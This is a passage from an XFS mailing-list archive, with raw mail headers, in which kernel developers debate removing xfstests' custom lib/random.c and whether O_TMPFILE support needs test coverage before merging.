-0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 5EF816176F7A; Tue, 7 Jan 2014 14:10:16 -0600 (CST) Message-ID: <52CC5F27.1090602@sandeen.net> Date: Tue, 07 Jan 2014 14:10:15 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Ben Myers , Eric Sandeen , Josef Bacik CC: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> <20140107200135.GD1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c In-Reply-To: <20140107200135.GD1935@sgi.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389125416 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143839 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On 1/7/14, 2:01 PM, Ben Myers wrote: > Hey Gents, > > On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wrote: >> On 1/6/14, 3:42 PM, Josef Bacik wrote: >>> >>> On 01/06/2014 04:32 PM, Eric Sandeen wrote: >>>> On 1/6/14, 1:58 PM, Josef Bacik wrote: >>>>> I was trying to reproduce something with fsx and I noticed that no matter what >>>>> seed I set I was getting the same file. Come to find out we are overloading >>>>> random() with our own custom horribleness for some unknown reason. So nuke the >>>>> damn thing from orbit and rely on glibc's random(). With this fix the -S option >>>>> actually does something with fsx. Thanks, >>>> Hm, old comments seem to indicate that this was done to make random >>>> behave the same on different architectures (i.e. same result from same seed, >>>> I guess?) I . . . don't know if that is true of glibc's random(), is it? >>>> >>>> I'd like to dig into the history just a bit before we yank this, just to >>>> be sure. >>> >>> I think that if we need the output to match based on a predictable >>> random() output then we've lost already. We shouldn't be checking for >>> specific output (like inode numbers or sizes etc) that are dependant >>> on random()'s behaviour, and if we are we need to fix those tests. So >>> even if that is why it was put in place originally I'd say it is high >>> time we ripped it out and fixed up any tests that rely on this >>> behaviour. Thanks, >> >> Yeah, you're probably right. And the ancient xfstests history seems to >> be lost in the mists of time, at least as far as I can see. So I'm ok >> with this but let's let Dave & SGI chime in too just to be certain. > > I did not have success locating the history prior to what we have posted on > oss. I agree that it was likely added so that tests that expose output from > random into golden output files will have the same results across arches. > Maybe this is still of concern for folks who use a different c library with the > kernel. > > Looks there are quite a few callers. IMO if we're going to remove this we > should fix the tests first. Or first, determine if they really need fixing. Did you find tests which actually contain the random results in the golden output? -Eric > -Ben > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Tue Jan 7 14:15:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B54587F3F for ; Tue, 7 Jan 2014 14:15:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A23908F8033 for ; Tue, 7 Jan 2014 12:15:07 -0800 (PST) X-ASG-Debug-ID: 1389125706-04cb6c537cc780f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id uWN15xCtFxDLb6Vt for ; Tue, 07 Jan 2014 12:15:06 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 3604061D1A42; Tue, 7 Jan 2014 14:15:06 -0600 (CST) Message-ID: <52CC6049.3030201@sandeen.net> Date: Tue, 07 Jan 2014 14:15:05 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Ben Myers , Eric Sandeen , Josef Bacik CC: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> <20140107200135.GD1935@sgi.com> <52CC5F27.1090602@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c In-Reply-To: <52CC5F27.1090602@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389125706 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143839 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On 1/7/14, 2:10 PM, Eric Sandeen wrote: > On 1/7/14, 2:01 PM, Ben Myers wrote: >> Hey Gents, >> >> On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wrote: >>> On 1/6/14, 3:42 PM, Josef Bacik wrote: >>>> >>>> On 01/06/2014 04:32 PM, Eric Sandeen wrote: >>>>> On 1/6/14, 1:58 PM, Josef Bacik wrote: >>>>>> I was trying to reproduce something with fsx and I noticed that no matter what >>>>>> seed I set I was getting the same file. Come to find out we are overloading >>>>>> random() with our own custom horribleness for some unknown reason. So nuke the >>>>>> damn thing from orbit and rely on glibc's random(). With this fix the -S option >>>>>> actually does something with fsx. Thanks, >>>>> Hm, old comments seem to indicate that this was done to make random >>>>> behave the same on different architectures (i.e. same result from same seed, >>>>> I guess?) I . . . don't know if that is true of glibc's random(), is it? >>>>> >>>>> I'd like to dig into the history just a bit before we yank this, just to >>>>> be sure. >>>> >>>> I think that if we need the output to match based on a predictable >>>> random() output then we've lost already. We shouldn't be checking for >>>> specific output (like inode numbers or sizes etc) that are dependant >>>> on random()'s behaviour, and if we are we need to fix those tests. So >>>> even if that is why it was put in place originally I'd say it is high >>>> time we ripped it out and fixed up any tests that rely on this >>>> behaviour. Thanks, >>> >>> Yeah, you're probably right. And the ancient xfstests history seems to >>> be lost in the mists of time, at least as far as I can see. So I'm ok >>> with this but let's let Dave & SGI chime in too just to be certain. >> >> I did not have success locating the history prior to what we have posted on >> oss. I agree that it was likely added so that tests that expose output from >> random into golden output files will have the same results across arches. >> Maybe this is still of concern for folks who use a different c library with the >> kernel. >> >> Looks there are quite a few callers. IMO if we're going to remove this we >> should fix the tests first. > > Or first, determine if they really need fixing. Did you find tests which > actually contain the random results in the golden output? This should be easy enough to test by just hacking the lib/random.c with a new starting seed, right? -Eric From prvs=60842567ff=jbacik@fb.com Tue Jan 7 14:15:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 757817F53 for ; Tue, 7 Jan 2014 14:15:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1A69AAC003 for ; Tue, 7 Jan 2014 12:15:22 -0800 (PST) X-ASG-Debug-ID: 1389125721-04bdf00fdf56c260001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id 3kakOEl4A3ARPUqD for ; Tue, 07 Jan 2014 12:15:22 -0800 (PST) X-Barracuda-Envelope-From: prvs=60842567ff=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004077 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s07KDQga018766; Tue, 7 Jan 2014 12:15:21 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=1DuSgivkQ8wr30dXOPJjU4lhXw0i12WKYvXTOnNNXHI=; b=orMt0SSsBaHYlw9oYJq0U90RulGJzsG7R8FkUFeK+IwMykgXdKMHqSEBFHE6kh9rRWEA L+c4T8Ayk3SZINr+n3+KxmFNPiMPIFf0+JuCLpooxUQy/6QkHCOLHrLLLPz0bTDkCIni SUT7FQLxtXJl1Jzjole2HKY4p+7wLjn3whw= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1h8paurkww-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 07 Jan 2014 12:15:21 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.11) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 7 Jan 2014 12:15:18 -0800 Message-ID: <52CC6052.3000100@fb.com> Date: Tue, 7 Jan 2014 15:15:14 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , Ben Myers , Eric Sandeen CC: , Subject: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> <20140107200135.GD1935@sgi.com> <52CC5F27.1090602@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c In-Reply-To: <52CC5F27.1090602@sandeen.net> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-07_07:2014-01-07,2014-01-07,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=1.47673595574105e-10 kscore.compositescore=0 circleOfTrustscore=0 compositescore=0.999509714306364 urlsuspect_oldscore=0.999509714306364 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999509714306364 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401070122 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1389125721 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/07/2014 03:10 PM, Eric Sandeen wrote: > On 1/7/14, 2:01 PM, Ben Myers wrote: >> Hey Gents, >> >> On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wrote: >>> On 1/6/14, 3:42 PM, Josef Bacik wrote: >>>> On 01/06/2014 04:32 PM, Eric Sandeen wrote: >>>>> On 1/6/14, 1:58 PM, Josef Bacik wrote: >>>>>> I was trying to reproduce something with fsx and I noticed that no matter what >>>>>> seed I set I was getting the same file. Come to find out we are overloading >>>>>> random() with our own custom horribleness for some unknown reason. So nuke the >>>>>> damn thing from orbit and rely on glibc's random(). With this fix the -S option >>>>>> actually does something with fsx. Thanks, >>>>> Hm, old comments seem to indicate that this was done to make random >>>>> behave the same on different architectures (i.e. same result from same seed, >>>>> I guess?) I . . . don't know if that is true of glibc's random(), is it? >>>>> >>>>> I'd like to dig into the history just a bit before we yank this, just to >>>>> be sure. >>>> I think that if we need the output to match based on a predictable >>>> random() output then we've lost already. We shouldn't be checking for >>>> specific output (like inode numbers or sizes etc) that are dependant >>>> on random()'s behaviour, and if we are we need to fix those tests. So >>>> even if that is why it was put in place originally I'd say it is high >>>> time we ripped it out and fixed up any tests that rely on this >>>> behaviour. Thanks, >>> Yeah, you're probably right. And the ancient xfstests history seems to >>> be lost in the mists of time, at least as far as I can see. So I'm ok >>> with this but let's let Dave & SGI chime in too just to be certain. >> I did not have success locating the history prior to what we have posted on >> oss. I agree that it was likely added so that tests that expose output from >> random into golden output files will have the same results across arches. >> Maybe this is still of concern for folks who use a different c library with the >> kernel. >> >> Looks there are quite a few callers. IMO if we're going to remove this we >> should fix the tests first. > Or first, determine if they really need fixing. Did you find tests which > actually contain the random results in the golden output? > I looked through stuff when I ripped it out and I couldn't find anything that relied on consistent numbers, we tend to filter all that stuff out. I think ripping it out and waiting to see if somebody complains is a good way to figure out if things need fixing, but that may be less than friendly ;). Thanks, Josef From bpm@sgi.com Tue Jan 7 14:40:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3E39E7F3F for ; Tue, 7 Jan 2014 14:40:19 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id E2FBE3040A4; Tue, 7 Jan 2014 12:40:15 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id AF0934266DC; Tue, 7 Jan 2014 14:40:15 -0600 (CST) Date: Tue, 7 Jan 2014 14:40:15 -0600 From: Ben Myers To: Eric Sandeen Cc: Eric Sandeen , Josef Bacik , linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: kill lib/random.c Message-ID: <20140107204015.GJ10553@sgi.com> References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> <20140107200135.GD1935@sgi.com> <52CC5F27.1090602@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52CC5F27.1090602@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jan 07, 2014 at 02:10:15PM -0600, Eric Sandeen wrote: > On 1/7/14, 2:01 PM, Ben Myers wrote: > > Hey Gents, > > > > On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wrote: > >> On 1/6/14, 3:42 PM, Josef Bacik wrote: > >>> > >>> On 01/06/2014 04:32 PM, Eric Sandeen wrote: > >>>> On 1/6/14, 1:58 PM, Josef Bacik wrote: > >>>>> I was trying to reproduce something with fsx and I noticed that no matter what > >>>>> seed I set I was getting the same file. Come to find out we are overloading > >>>>> random() with our own custom horribleness for some unknown reason. So nuke the > >>>>> damn thing from orbit and rely on glibc's random(). With this fix the -S option > >>>>> actually does something with fsx. Thanks, > >>>> Hm, old comments seem to indicate that this was done to make random > >>>> behave the same on different architectures (i.e. same result from same seed, > >>>> I guess?) I . . . don't know if that is true of glibc's random(), is it? > >>>> > >>>> I'd like to dig into the history just a bit before we yank this, just to > >>>> be sure. > >>> > >>> I think that if we need the output to match based on a predictable > >>> random() output then we've lost already. We shouldn't be checking for > >>> specific output (like inode numbers or sizes etc) that are dependant > >>> on random()'s behaviour, and if we are we need to fix those tests. So > >>> even if that is why it was put in place originally I'd say it is high > >>> time we ripped it out and fixed up any tests that rely on this > >>> behaviour. Thanks, > >> > >> Yeah, you're probably right. And the ancient xfstests history seems to > >> be lost in the mists of time, at least as far as I can see. So I'm ok > >> with this but let's let Dave & SGI chime in too just to be certain. > > > > I did not have success locating the history prior to what we have posted on > > oss. I agree that it was likely added so that tests that expose output from > > random into golden output files will have the same results across arches. > > Maybe this is still of concern for folks who use a different c library with the > > kernel. > > > > Looks there are quite a few callers. IMO if we're going to remove this we > > should fix the tests first. > > Or first, determine if they really need fixing. Did you find tests which > actually contain the random results in the golden output? At one point random.c was modified because it was returning different test results on i386 and ia64 with test 007. Looks like nametest.c is a good candidate. -Ben From bpm@sgi.com Tue Jan 7 14:49:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F0E897F3F for ; Tue, 7 Jan 2014 14:49:38 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9EAD78F8033; Tue, 7 Jan 2014 12:49:38 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 72C564266DC; Tue, 7 Jan 2014 14:49:38 -0600 (CST) Date: Tue, 7 Jan 2014 14:49:38 -0600 From: Ben Myers To: Christoph Hellwig Cc: Zhi Yong Wu , linux-api@vger.kernel.org, Zhi Yong Wu , xfs@oss.sgi.com Subject: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support Message-ID: <20140107204938.GE1935@sgi.com> References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> <20131226085134.GA32660@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131226085134.GA32660@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Christoph, On Thu, Dec 26, 2013 at 12:51:34AM -0800, Christoph Hellwig wrote: > Both patches looks good to me, > > Reviewed-by: Christoph Hellwig > > But now we need to make sure we can exercise it, which will need > support for tmpfile and flink commands in xfs_io. Are you suggesting that we hold off on this until such time as the tests are completed? Thanks, Ben From BATV+ff767c57dfa6e3dfa354+3789+infradead.org+hch@bombadil.srs.infradead.org Tue Jan 7 14:51:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C71277F3F for ; Tue, 7 Jan 2014 14:51:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9E86E304092 for ; Tue, 7 Jan 2014 12:51:34 -0800 (PST) X-ASG-Debug-ID: 1389127891-04cbb04169c72020001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id DSqL8iDB9aZqlFxQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 07 Jan 2014 12:51:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+ff767c57dfa6e3dfa354+3789+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W0dcY-0001Uv-9y; Tue, 07 Jan 2014 20:51:30 +0000 Date: Tue, 7 Jan 2014 12:51:30 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , Zhi Yong Wu , linux-api@vger.kernel.org, Zhi Yong Wu , xfs@oss.sgi.com Subject: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support Message-ID: <20140107205130.GA5751@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> <20131226085134.GA32660@infradead.org> <20140107204938.GE1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140107204938.GE1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1389127893 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143841 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Jan 07, 2014 at 02:49:38PM -0600, Ben Myers wrote: > Are you suggesting that we hold off on this until such time as the tests are > completed? Yes. Code that doesn't come with proper test coverage usually tends to be buggy. From prvs=60842567ff=jbacik@fb.com Tue Jan 7 15:18:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 510707F3F for ; Tue, 7 Jan 2014 15:18:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D85D1AC001 for ; Tue, 7 Jan 2014 13:17:59 -0800 (PST) X-ASG-Debug-ID: 1389129478-04cbb04166c72a70001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id TkN7kEXUJgnuiVGI for ; Tue, 07 Jan 2014 13:17:58 -0800 (PST) X-Barracuda-Envelope-From: prvs=60842567ff=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004077 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s07LDaWF005408; Tue, 7 Jan 2014 13:17:58 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=aUsmjuOQReyPxw+hCAjbS4I32BSNKQa4AHOC0/2Fp7U=; b=Iu5xH5qZpccgFRlc0mI/iEqyrlahv3vuyaIj1zyFjjEh9QUFZkSUuNHqUoZD2D93q9WM MMZ/ycDT/4HDwui4dUULT8HDgGRdR0srYEhpCJMOeJUrv+iXhy2R0Gv3tIcsPaVrHecC KLhHrXRQUSFBm/qI2ZnOBzT1hDjtd6XO8YY= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1h8pauruud-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 07 Jan 2014 13:17:57 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.11) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 7 Jan 2014 13:17:54 -0800 Message-ID: <52CC6F00.3060907@fb.com> Date: Tue, 7 Jan 2014 16:17:52 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Ben Myers , Eric Sandeen CC: Eric Sandeen , , Subject: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> <20140107200135.GD1935@sgi.com> <52CC5F27.1090602@sandeen.net> <20140107204015.GJ10553@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c In-Reply-To: <20140107204015.GJ10553@sgi.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-07_07:2014-01-07,2014-01-07,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=1.71376888791208e-08 kscore.compositescore=0 circleOfTrustscore=0 compositescore=0.999509714306364 urlsuspect_oldscore=0.999509714306364 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=62764 rbsscore=0.999509714306364 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401070134 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1389129478 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/07/2014 03:40 PM, Ben Myers wrote: > On Tue, Jan 07, 2014 at 02:10:15PM -0600, Eric Sandeen wrote: >> On 1/7/14, 2:01 PM, Ben Myers wrote: >>> Hey Gents, >>> >>> On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wrote: >>>> On 1/6/14, 3:42 PM, Josef Bacik wrote: >>>>> On 01/06/2014 04:32 PM, Eric Sandeen wrote: >>>>>> On 1/6/14, 1:58 PM, Josef Bacik wrote: >>>>>>> I was trying to reproduce something with fsx and I noticed that no matter what >>>>>>> seed I set I was getting the same file. Come to find out we are overloading >>>>>>> random() with our own custom horribleness for some unknown reason. So nuke the >>>>>>> damn thing from orbit and rely on glibc's random(). With this fix the -S option >>>>>>> actually does something with fsx. Thanks, >>>>>> Hm, old comments seem to indicate that this was done to make random >>>>>> behave the same on different architectures (i.e. same result from same seed, >>>>>> I guess?) I . . . don't know if that is true of glibc's random(), is it? >>>>>> >>>>>> I'd like to dig into the history just a bit before we yank this, just to >>>>>> be sure. >>>>> I think that if we need the output to match based on a predictable >>>>> random() output then we've lost already. We shouldn't be checking for >>>>> specific output (like inode numbers or sizes etc) that are dependant >>>>> on random()'s behaviour, and if we are we need to fix those tests. So >>>>> even if that is why it was put in place originally I'd say it is high >>>>> time we ripped it out and fixed up any tests that rely on this >>>>> behaviour. Thanks, >>>> Yeah, you're probably right. And the ancient xfstests history seems to >>>> be lost in the mists of time, at least as far as I can see. So I'm ok >>>> with this but let's let Dave & SGI chime in too just to be certain. >>> I did not have success locating the history prior to what we have posted on >>> oss. I agree that it was likely added so that tests that expose output from >>> random into golden output files will have the same results across arches. >>> Maybe this is still of concern for folks 